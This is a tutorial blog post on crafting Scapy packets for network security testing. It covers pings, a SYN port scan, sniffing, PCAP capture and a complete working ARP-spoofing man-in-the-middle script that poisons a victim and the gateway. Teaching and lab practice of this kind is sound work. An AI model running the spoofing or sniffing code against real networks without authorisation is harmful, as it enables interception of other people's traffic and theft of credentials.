Ethical Hacking #scapy#packet-crafting#network-security

Scapy Packet Crafting for Network Security Testing

Learn Scapy for network security testing: craft custom TCP/ICMP packets, perform ARP spoofing, and build Python-based network tools from scratch.

7 min read

Scapy Packet Crafting for Network Security Testing

Scapy is a powerful Python library that lets you forge, send, receive, and decode network packets at any layer of the OSI model. Unlike tools such as Wireshark (passive) or Nmap (fixed templates), Scapy gives you byte-level control over every field in every header. That makes it indispensable for fuzzing, protocol analysis, custom scanner development, and network-layer attack simulation in authorized lab environments.

Legal notice: Only run Scapy tests against networks and devices you own or have explicit written authorization to test.

Installation

# Kali Linux / Debian
sudo apt install python3-scapy

# Any system with pip
pip3 install scapy

# Verify
python3 -c "from scapy.all import *; print(conf.version)"

Run Scapy as root (or with sudo) for raw socket operations. On Linux you can also grant the capability directly:

sudo setcap cap_net_raw+ep $(which python3)

The Interactive Shell

Launch the interactive Scapy REPL for quick experiments:

sudo scapy

Inside the shell, tab-completion works on layer names and field names — invaluable when learning the library.

Building Packets Layer by Layer

Scapy uses the / operator to stack protocol layers:

from scapy.all import *

# Ethernet / IP / TCP stack
pkt = Ether() / IP(dst="192.168.1.1") / TCP(dport=80, flags="S")
pkt.show()

show() prints every field with its current value — defaults are filled in automatically (source MAC from your interface, source IP from routing table, etc.).

ICMP Ping

from scapy.all import *

target = "192.168.1.1"
reply = sr1(IP(dst=target)/ICMP(), timeout=2, verbose=0)

if reply:
    print(f"{target} is up — TTL={reply.ttl}")
else:
    print(f"{target} did not respond")

sr1() sends one packet and returns the first reply. srp1() is the Ethernet-layer equivalent.

TCP SYN Scan (Mini-Nmap)

from scapy.all import *

def syn_scan(host, ports):
    open_ports = []
    pkts = IP(dst=host) / TCP(dport=ports, flags="S")
    answered, _ = sr(pkts, timeout=2, verbose=0)
    for sent, received in answered:
        if received.haslayer(TCP) and received[TCP].flags == 0x12:  # SYN-ACK
            open_ports.append(sent[TCP].dport)
            # Send RST to cleanly close
            sr(IP(dst=host)/TCP(dport=sent[TCP].dport, flags="R"), timeout=1, verbose=0)
    return open_ports

results = syn_scan("192.168.1.10", [22, 80, 443, 8080, 3306])
print("Open ports:", results)

0x12 is the bitmask for SYN+ACK (0x02 | 0x10). A closed port sends RST+ACK (0x14); filtered ports produce no reply.

ARP Spoofing (Man-in-the-Middle)

ARP spoofing poisons the ARP cache of a target, redirecting their traffic through your machine. This is a classic technique studied in network security courses.

How It Works

  1. Tell the victim that the gateway’s MAC is your MAC
  2. Tell the gateway that the victim’s MAC is your MAC
  3. Forward packets between them (with IP forwarding enabled)

Implementation

from scapy.all import *
import time

def get_mac(ip):
    arp_req = ARP(pdst=ip)
    broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
    answered, _ = srp(broadcast/arp_req, timeout=2, verbose=0)
    return answered[0][1].hwsrc

def spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    pkt = ARP(op=2,                  # op=2 means ARP reply
              pdst=target_ip,
              hwdst=target_mac,
              psrc=spoof_ip)
    send(pkt, verbose=0)

def restore(dest_ip, src_ip):
    dest_mac = get_mac(dest_ip)
    src_mac  = get_mac(src_ip)
    pkt = ARP(op=2,
              pdst=dest_ip,
              hwdst=dest_mac,
              psrc=src_ip,
              hwsrc=src_mac)
    send(pkt, count=4, verbose=0)

victim  = "192.168.1.50"
gateway = "192.168.1.1"

# Enable IP forwarding so traffic still flows
import subprocess
subprocess.run(["sysctl", "-w", "net.ipv4.ip_forward=1"])

print("[*] Starting ARP spoof — Ctrl+C to stop and restore")
try:
    while True:
        spoof(victim, gateway)    # Tell victim: I am the gateway
        spoof(gateway, victim)    # Tell gateway: I am the victim
        time.sleep(2)
except KeyboardInterrupt:
    print("\n[*] Restoring ARP tables...")
    restore(victim, gateway)
    restore(gateway, victim)

With traffic flowing through your machine, capture it using Wireshark or tcpdump on the relevant interface.

Custom TCP Handshake Analysis

Study the three-way handshake step by step:

from scapy.all import *
import random

target_ip   = "192.168.1.10"
target_port = 80
src_port    = random.randint(1024, 65535)
seq_num     = random.randint(0, 2**32 - 1)

# Step 1: SYN
syn = IP(dst=target_ip) / TCP(sport=src_port, dport=target_port,
                               flags="S", seq=seq_num)
syn_ack = sr1(syn, timeout=3, verbose=0)

if not syn_ack or not syn_ack.haslayer(TCP):
    print("No response to SYN")
else:
    print(f"[SYN-ACK] seq={syn_ack[TCP].seq} ack={syn_ack[TCP].ack}")

    # Step 2: ACK to complete handshake
    ack = IP(dst=target_ip) / TCP(sport=src_port, dport=target_port,
                                   flags="A",
                                   seq=syn_ack[TCP].ack,
                                   ack=syn_ack[TCP].seq + 1)
    send(ack, verbose=0)
    print("[*] Handshake complete")

    # Step 3: RST to close cleanly
    rst = IP(dst=target_ip) / TCP(sport=src_port, dport=target_port,
                                   flags="R",
                                   seq=syn_ack[TCP].ack)
    send(rst, verbose=0)

DNS Query Crafting

from scapy.all import *

dns_pkt = IP(dst="8.8.8.8") / UDP(dport=53) / \
          DNS(rd=1, qd=DNSQR(qname="hackingpc.com"))

response = sr1(dns_pkt, timeout=3, verbose=0)
if response and response.haslayer(DNSRR):
    print("DNS answer:", response[DNSRR].rdata)

Sniffing Packets

from scapy.all import *

def packet_handler(pkt):
    if pkt.haslayer(IP):
        src = pkt[IP].src
        dst = pkt[IP].dst
        proto = pkt[IP].proto
        print(f"{src} -> {dst}  proto={proto}")

# Capture 50 packets on eth0 matching TCP traffic
sniff(iface="eth0", filter="tcp", prn=packet_handler, count=50)

The filter parameter accepts standard BPF syntax — the same as Wireshark capture filters.

Writing Captured Packets to PCAP

from scapy.all import *

pkts = sniff(iface="eth0", count=100, filter="tcp port 80")
wrpcap("/tmp/capture.pcap", pkts)

# Read back
loaded = rdpcap("/tmp/capture.pcap")
print(f"Loaded {len(loaded)} packets")

Field Reference Cheat Sheet

LayerClassCommon Fields
EthernetEtherdst, src, type
IPIPdst, src, ttl, proto
TCPTCPdport, sport, flags, seq, ack
UDPUDPdport, sport
ICMPICMPtype, code, id, seq
ARPARPop, pdst, psrc, hwdst, hwsrc
DNSDNSrd, qd (DNSQR), an (DNSRR)

Tips for Effective Use

  • Use ls(IP) inside the Scapy shell to list all fields and their default values for any layer.
  • hexdump(pkt) shows the raw bytes — useful for comparing against Wireshark.
  • pkt.summary() gives a one-line description suitable for logging.
  • When iterating over a packet list, for p in pkts: p.show() is cleaner than printing the object directly.
  • Combine Scapy with matplotlib to graph latency distributions from sr() results.

Summary

Scapy is the Swiss Army knife of network security research. Its Python-native interface means you can integrate packet crafting into larger automation scripts, combine it with other libraries (requests, paramiko, etc.), and build custom tools that Nmap and Wireshark simply cannot match. Start with ICMP and ARP experiments in a local VM lab, then progress to full TCP handshake analysis and protocol fuzzing.

#arp-spoofing #python #network-security #packet-crafting #scapy